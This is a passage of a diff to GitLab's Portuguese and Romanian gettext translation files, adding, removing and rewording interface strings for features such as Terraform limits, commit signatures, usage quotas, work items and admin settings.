+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "Esta confirmação faz parte do pedido de mesclagem %{link_to_merge_request}. Os comentários criados aqui, serão criados no contexto desse pedido de mesclagem."
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr "Também podes testar o teu %{gitlab_ci_yml} em %{lint_link_start}CI Lint%{lint_link_end}"
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "Também podes enviar ficheiros existentes do teu computador ao usar as instruções abaixo."
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr "Deves ter acesso de responsável para forçar o apagamento de um bloquei
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr "versão %{versionIndex}"
diff --git a/locale/ro_RO/gitlab.po b/locale/ro_RO/gitlab.po
index 6f9507e3cf6..e17bb32c80e 100644
--- a/locale/ro_RO/gitlab.po
+++ b/locale/ro_RO/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ro\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:39\n"
+"PO-Revision-Date: 2023-01-10 06:43\n"
msgid " %{start} to %{end}"
msgstr " de la %{start} până la %{end}"
@@ -841,6 +841,9 @@ msgstr "%{italic_start}Ce este nou%{italic_end} este inactiv și nu poate fi viz
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr "%{itemsCount} probleme cu o limită de %{maxIssueCount}"
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr "%{labelStart}Răspunsul actual:%{labelEnd} %{headers}"
@@ -913,6 +916,9 @@ msgstr "%{level_name} nu este permisă într-un grup %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} nu este permis, deoarece proiectul sursă al forkului are o vizibilitate mai mică."
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}Înlăturați prefixul %{draft_snippet}%{link_end} din titlu pentru a permite ca acest merge request să fie îmbinat atunci când este gata."
@@ -1045,6 +1051,12 @@ msgstr "%{project_path} este un proiect pe care îl puteÈ›i utiliza pentru a adÄ
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} nu se poate adăuga: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} lansare"
@@ -1063,6 +1075,12 @@ msgstr "%{reportType} a detectat %{totalStart}%{total}%{totalEnd} potențiale %{
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}Încercați din nou%{retryButtonEnd} sau %{newFileButtonStart}atașați un nou fișier%{newFileButtonEnd}."
@@ -1105,9 +1123,6 @@ msgstr[0] "%{selectedProjectsCount} proiect"
msgstr[1] "%{selectedProjectsCount} proiecte"
msgstr[2] "%{selectedProjectsCount} de proiecte"
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1222,12 +1237,6 @@ msgstr "%{template_project_id} este necunoscut sau invalid"
msgid "%{text} is available"
msgstr "%{text} este disponibil(ă)"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr "%{timebox_type} nu acceptă grafice burnup"
@@ -1673,10 +1682,10 @@ msgstr[1] "%d roluri"
msgstr[2] "%d de roluri"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "1 utilizator"
-msgstr[1] "%{num} utilizatori"
-msgstr[2] "%{num} de utilizatori"
+msgid_plural "%d users"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1903,6 +1912,9 @@ msgstr "Un rebase este deja în curs de desfășurare."
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "S-a efectuat o autentificare în contul dvs. de la următoarea adresă IP: %{ip}"
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr "Este necesar un titlu"
@@ -2047,9 +2059,6 @@ msgstr "ID-ul cheii de acces AWS (Opțional)"
msgid "AWS secret access key (Optional)"
msgstr "Cheie de acces secretă AWS (Opțional)"
-msgid "AWS service error: %{error}"
-msgstr "Eroare de serviciu AWS: %{error}"
-
msgid "Abort"
msgstr "Abandonați"
@@ -2098,9 +2107,6 @@ msgstr "Tokenuri de acces"
msgid "Access denied for your LDAP account."
msgstr "Acces refuzat pentru contul dvs. LDAP."
-msgid "Access denied: %{error}"
-msgstr "Acces refuzat: %{error}"
-
msgid "Access expires"
msgstr "Accesul expiră"
@@ -2260,8 +2266,8 @@ msgstr "Acțiuni"
msgid "Activate Service Desk"
msgstr "Activați Service Desk"
-msgid "Activated on"
-msgstr "S-a activat pe"
+msgid "Activated"
+msgstr ""
msgid "Active"
msgstr "Activ"
@@ -2338,6 +2344,9 @@ msgstr "Adăugați o listă de verificare"
msgid "Add a collapsible section"
msgstr "Adăugați o secțiune pliabilă"
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "Adăugați un comentariu la această linie"
@@ -2716,15 +2725,18 @@ msgstr "Utilizatori activi"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr "Toți utilizatorii creați în instanță, inclusiv utilizatorii care nu sunt %{billable_users_link_start}utilizatori facturabili%{billable_users_link_end}."
-msgid "AdminArea|Billable users"
-msgstr "Utilizatori facturabili"
-
msgid "AdminArea|Blocked users"
msgstr "Utilizatori blocați"
msgid "AdminArea|Bots"
msgstr "Boți"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr "Componente"
@@ -2806,9 +2818,18 @@ msgstr "Opriți joburile"
msgid "AdminArea|Stopping jobs failed"
msgstr "Oprirea joburilor a eșuat"
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr "Total utilizatori"
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2836,6 +2857,12 @@ msgstr "Vedeți cei mai noi utilizatori"
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr "Sunteți pe cale să opriți toate joburile. Acest lucru va opri toate joburile curente care sunt în curs de execuție."
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Eroare la încărcarea statisticilor. Vă rugăm să încercați din nou"
@@ -2890,6 +2917,9 @@ msgstr "Toate proiectele noi pot folosi executorii partajaÈ›i ai acestei instanÈ
msgid "AdminSettings|Auto DevOps domain"
msgstr "Domeniul Auto DevOps"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr "Limitele CI/CD"
@@ -2959,6 +2989,9 @@ msgstr "Activați analizatorul personalizat kuromoji: Indexare"
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr "Activați analizatorul personalizat kuromoji: Căutare"
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr "Activați bannerul de sugestie pentru pipeline"
@@ -3046,6 +3079,9 @@ msgstr "Numărul maxim de pipeline-uri active pe proiect"
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr "Numărul maxim de domenii personalizate pe proiect"
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr "Numărul maxim de joburi într-un singur pipeline"
@@ -3133,9 +3169,6 @@ msgstr "Durata sesiunii pentru operațiunile Git atunci când este activată fun
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr "Setați un șablon CI/CD ca fiind configurația necesară de pipeline pentru toate proiectele din instanță. Configurația CI/CD a proiectului se îmbină în configurația necesară a pipeline-ului atunci când se execută pipeline-ul. %{link_start}Ce este o configurație de pipeline necesară?%{link_end}"
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr "Setați limita la 0 pentru a o dezactiva."
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr "Setați timpul de expirare a tokenurilor de autentificare ale executorilor de grup nou înregistrați."
@@ -3181,6 +3214,9 @@ msgstr "Șablonul pentru configuraÈ›ia pipeline necesară poate fi unul dintre È
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr "Există migrări de Căutare avansată în așteptare care necesită o pauză a indexării. Indexarea trebuie să rămână în pauză până când GitLab finalizează migrările."
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr "Pentru a activa Funcțiile de înregistrare, activați mai întâi serviciul Ping."
@@ -3427,8 +3463,8 @@ msgstr "Informații importante despre utilizarea instanței dvs. GitLab"
msgid "AdminUsers|Is using seat"
msgstr "Folosește un seat"
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
-msgstr "Problemele create de acest utilizator sunt ascunse celorlalți utilizatori."
